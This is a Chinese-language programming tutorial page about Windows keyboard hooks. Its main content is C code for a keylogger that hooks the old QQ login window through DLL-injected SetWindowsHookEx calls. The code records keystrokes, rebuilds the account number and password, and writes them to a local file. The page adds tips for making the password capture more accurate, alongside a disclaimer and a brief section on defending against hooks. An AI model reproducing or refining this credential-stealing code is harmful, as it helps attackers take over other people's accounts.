首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

Windows 鍵盤鉤子機制與訊息攔截技術解析

     編輯:關於C語言

前言:理解 Windows 鉤子架構

在 Windows 程式設計中,鉤子是一項強大的機制,允許應用程式攔截並處理系統訊息,如鍵盤輸入、滑鼠事件、視窗訊息等。本文將深入探討如何利用 SetWindowsHookEx API 實作鍵盤鉤子與視窗訊息鉤子,以監控特定應用程式(以早期 QQ 登入視窗為例)的使用者互動。此技術常用於合法軟體的熱鍵支援、輸入法編輯器、自動化測試工具等場景,但也可能被惡意軟體濫用於竊取敏感資訊,因此開發者必須嚴格遵守法律法規與道德規範,僅在授權範圍內進行安全研究或防禦性開發。

核心流程概覽

完整的鉤子實作通常包含四個階段:

  1. 目標視窗定位:透過類別名稱、子控制項特徵精確鎖定目標視窗句柄。
  2. 鉤子安裝與注入:將鉤子程序注入目標執行緒的位址空間(需 DLL 協助)。
  3. 回呼函數實作:編寫 KeyboardProc 與 CallWndProc 處理攔截到的訊息。
  4. 資料提取與處理:從鍵盤訊息序列或視窗文字中重建使用者輸入內容。

第一階段:精準定位 QQ 登入視窗

早期 QQ 登入對話框的類別名為 #32770(標準對話框類別),標題包含特殊字元難以直接用 FindWindow 取得。解決方案是枚舉所有 #32770 視窗,檢查其子控制項中是否存在標題為「登錄QQ」的 Button 控制項:

#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL); // 每秒掃描一次

// WM_TIMER 處理邏輯
if (!IsWindow(g_hQQLogin)) {
    HWND hLogin = NULL;
    g_hQQLogin = NULL;
    SetQQHook(NULL); // 先移除舊鉤子
    do {
        g_hQQLogin = FindWindowEx(NULL, g_hQQLogin, "#32770", NULL);
        hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登錄QQ");
    } while (g_hQQLogin != NULL && hLogin == NULL);
    
    if (g_hQQLogin != NULL) {
        SetQQHook(g_hQQLogin); // 安裝鉤子
    }
}

此法雖有效,但高度依賴特定版本 UI 結構,現代應用程式介面頻繁更新,實務上需結合多重特徵(類別名、控制項 ID、視窗層級關係)提高穩健度。

第二階段:DLL 注入與雙重鉤子安裝

跨進程鉤子必須將回呼函數放置於 DLL 中,以便系統將其映射至目標進程位址空間。SetQQHook 函數展示了關鍵步驟:

BOOL WINAPI SetQQHook(HWND hQQLogin) {
    BOOL bRet = FALSE;
    if (hQQLogin != NULL) {
        DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);
        // 取得 QQ 號、密碼輸入框的子視窗句柄(控制項 ID 隨版本變動)
        g_hNum = GetDlgItem(hQQLogin, 138);
        g_hPsw = GetDlgItem(hQQLogin, 180);
        if (g_hNum == NULL || g_hPsw == NULL) return FALSE;

        // 安裝兩種鉤子:訊息鉤子 + 鍵盤鉤子
        g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
        g_hKey  = SetWindowsHookEx(WH_KEYBOARD,    KeyboardProc, g_hInstDLL, dwThreadID);
        bRet = (g_hProc != NULL) && (g_hKey != NULL);
    } else {
        // 移除鉤子
        bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
        g_hProc = g_hKey = g_hNum = NULL;
    }
    return bRet;
}

關鍵點:

  • WH_CALLWNDPROC 攔截視窗程序處理前的訊息,適合捕捉 WM_COMMAND 等命令訊息。
  • WH_KEYBOARD 攔截鍵盤訊息,可記錄按鍵序列。
  • 控制項 ID(138、180)非固定,實際開發需動態識別或使用無障礙 API (UI Automation) 替代。

第三階段:鉤子回呼函數詳解

兩個回呼函數分別處理不同來源的登入觸發事件:

// 視窗訊息鉤子:捕捉「登陸」按鈕點擊 (WM_COMMAND, ID=16032)
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) {
    CWPSTRUCT *p = (CWPSTRUCT *)lParam;
    if (p->message == WM_COMMAND && p->wParam == 16032) {
        GetPasswrod(); // 使用者點擊登入,提取憑證
    }
    return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}

// 鍵盤鉤子:捕捉 Enter 熱鍵登入
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    pmsg[i].wParam = wParam; // 記錄按鍵 (全域陣列)
    i++;
    if (wParam == VK_RETURN) {
        GetPasswrod(); // 按下 Enter,提取憑證
    }
    return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

注意:鉤子鏈傳遞規範要求必須呼叫 CallNextHookEx,否則會破壞系統訊息流向導致目標應用程式凍結。

第四階段:密碼重建邏輯與局限性

GetPasswrod 函數展示如何從記錄的按鍵序列與視窗文字重建密碼:

void GetPasswrod() {
    TCHAR num[13], psw[21], total[50];
    // 1. 直接取得 QQ 號(可能來自自動填入、剪貼簿)
    GetWindowText(g_hNum, (LPSTR)num, sizeof(num));
    
    // 2. 從鍵盤記錄重建密碼(簡易版:取前 20 個按鍵的 wParam)
    for (int j = 0; j < 20; j++) {
        psw[j] = (TCHAR)pmsg[j*2].wParam;
    }
    psw[20] = '\0';
    
    // 3. 寫入檔案
    HANDLE f = CreateFile("c:\\password.txt", GENERIC_WRITE, FILE_SHARE_WRITE, 
                          NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    _stprintf(total, _T("號碼:%s 密碼:%s"), num, psw);
    DWORD dw; WriteFile(f, total, _tcslen(total)*sizeof(TCHAR), &dw, NULL);
    CloseHandle(f);
}

主要缺陷與改進方向:

  • 大小寫處理缺失:wParam 為虛擬鍵碼,需結合 GetKeyboardState + ToAscii/ToUnicode 轉換為實際字元。
  • 輸入法干擾:中文輸入法編輯過程會產生大量組合鍵,單純記錄 VK_RETURN 前的按鍵會包含拼音/注音碼。
  • 欄位焦點切換:使用者可能在 QQ 號與密碼欄間切換,導致按鍵序列混雜帳號與密碼,需追蹤焦點變化 (WM_SETFOCUS/WM_KILLFOCUS) 分離輸入。
  • 安全性防禦:現代應用程式常使用安全桌面、輸入保護機制 (UIPI) 阻擋低權限進程注入鉤子。

防禦視角:如何偵測與阻擋惡意鉤子

作為安全開發者,應了解以下防禦手段:

  • 使用 GetWindowLongPtr(hWnd, GWLP_WNDPROC) 定期檢查視窗程序是否被替換(子類化)。
  • 啟用 UIPI (User Interface Privilege Isolation),以 Medium IL 執行敏感視窗,阻擋 Low IL 進程注入。
  • 部署 EDR 方案監控 SetWindowsHookEx、CreateRemoteThread、WriteProcessMemory 等敏感 API 呼叫鏈。
  • 採用虛擬鍵盤、安全輸入控件繞過鍵盤鉤子竊取。

結語

Windows 鉤子機制是雙面刃:賦予開發者強大的系統整合能力,亦為惡意軟體提供了滲透途徑。掌握其原理不僅有助於開發熱鍵、螢幕錄製、自動化測試等合法工具,更是建構端點防禦體系的基礎知識。實務開發中,請優先考慮現代替代方案(如 Raw Input、UI Automation、Windows Hooks 的替代品),並在必要時嚴格限制鉤子範圍、權限與生命週期。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved